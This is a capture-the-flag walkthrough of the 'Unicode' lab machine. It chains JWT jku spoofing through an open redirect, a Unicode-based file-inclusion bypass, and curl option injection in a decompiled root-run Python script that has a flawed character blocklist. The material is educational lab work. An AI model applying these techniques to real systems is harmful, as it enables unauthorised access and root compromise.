$ nmap -p- --min-rate 5000 10.129.246.167
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 08:22 EDT
Nmap scan report for 10.129.246.167
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Hackmedia JKU Spoofing
The website was a corporate page for a threat analytics company:
If we click Google about us, it redirects us using this URL:
http://10.129.246.167/redirect/?url=google.com
This might be vulnerable to SSRF, but let's first add hackmedia.htb to our /etc/hosts file and register a user on the site. Upon accessing the dashboard, we see that we have a few functions:
When the request is viewed in Burp, we can see it uses a JWT token:
GET /dashboard/ HTTP/1.1
Host: 10.129.246.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.246.167/login/
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidGVzdDEyMyJ9.GH9NHOQuud4tOr1Ax-Gaavfnkae2D0qqjFet8bXweBQdF7xs7zKlHPQuw0p00BP7zc9zaRwdtTr7XLvdK2qnG9YRdd0Qi6asBs15OzPz32qrIcIatLMSyGoEE-UTSg9WrnKkx7OHrIAChGc2PXY0EaoViN9nUhpezUDIZ1JIvIIE_6WkGxEJlETCHJjXX8nxHMEwAJlk1W9tAEVusHPcSBB3m-uFGjxS8IVOshNPDFrm_YMS8Q0fJrzSevCTOew0pf8pC5CZodLB-iHTMQlbdD3mBDMrsPt5bbQqX5UGBXsq7Q10QzJ9PDUrYLiLyzfDxKdzMg_bIPBfp58I8K_A7g
Upgrade-Insecure-Requests: 1
When decoded on jwt.io, we can see that it contains the username field and is signed via RSA.
Interesting! There's also a jku field with a URL to the site. When viewed, it appears to contain the public key of the JWT token:
When researching for exploits pertaining to jku, I came across this:
Basically, the exploit requires us to generate a private-public key pair, and use that to spoof tokens after replacing the jku parameter with a URL to our machine's own jwk.json file. So first, we need to generate a key pair:
Afterwards, we can head back to jwt.io and create a new token with a new URL. Since there's a redirect functionality available, I'll just use that to make it request the jwks.json file to our machine. Then, we can also change the username to admin.
Then we need to create the jwks.json file. This can be done by first downloading the format from the machine, and then replacing the values in it with our own key pair's.
When we refresh the page, we get a hit on our HTTP server for the jwks.json file and that the dashboard is different:
Unicode LFI
Under the Saved Reports portion, when we try to view a few files, we are redirected to this site:
http://10.129.246.167/display/?page=monthly.pdf
This looks vulnerable to LFI, so I tried to view the /etc/passwd file but it didn't work.
Looks like it isn't processing. Now because this box was literally named Unicode, we might have to use Unicode characters to make this work. When we use this payload, the LFI works:
Using this password, we can login as code using ssh.
Privilege Escalation
Treport
When checking sudo privileges, we find that we can run treport as root.
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
Running a quick file and strings reveals this is a compiled Python script.
So we can download this binary back to our machine for reverse engineering. First, we can use pyinstxtractor to convert this to bytecode, and then pycdc to convert it to a script.
pyinstxtractor treport
cd treport_extracted
pycdc treport.pyc > script.py
Here's the contents of the script:
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.8)
import os
import sys
from datetime import datetime
import re
class threat_report:
def create(self):
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
print('ALL THE THREAT REPORTS:')
print(files_in_dir)
def read_file(self):
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = [
'$',
'`',
';',
'&',
'|',
'||',
'>',
'<',
'?',
"'",
'@',
'#',
'$',
'%',
'^',
'(',
')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
continue
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
return None
if __name__ == '__main__':
obj = threat_report()
print('1.Create Threat Report.')
print('2.Read Threat Report.')
print('3.Download A Threat Report.')
print('4.Quit.')
check = True
if check:
choice = input('Enter your choice:')
try:
choice = int(choice)
finally:
pass
print('Wrong Input')
sys.exit(0)
if choice == 1:
obj.create()
continue
if choice == 2:
obj.list_files()
obj.read_file()
continue
if choice == 3:
obj.download()
continue
if choice == 4:
check = False
continue
print('Wrong input.')
continue
There's a possible Command Injection point here:
vfor vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
continue
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
return None
The ip variable is passed into a shell command, and it uses curl. However, there is a check for bad characters and it covers all of them. In this case, we can use the -K flag from curl, which would allow us to specify configurations for it. Furthermore, the { character has not been whitelisted, allowing us to abuse Brace Expansion.
We can use this to read files like the id_rsa of root.
We can transfer this to our machine and begin to convert it to the correct format and then use it to ssh in as root. I admit, I got a bit lazy and just read the root flag.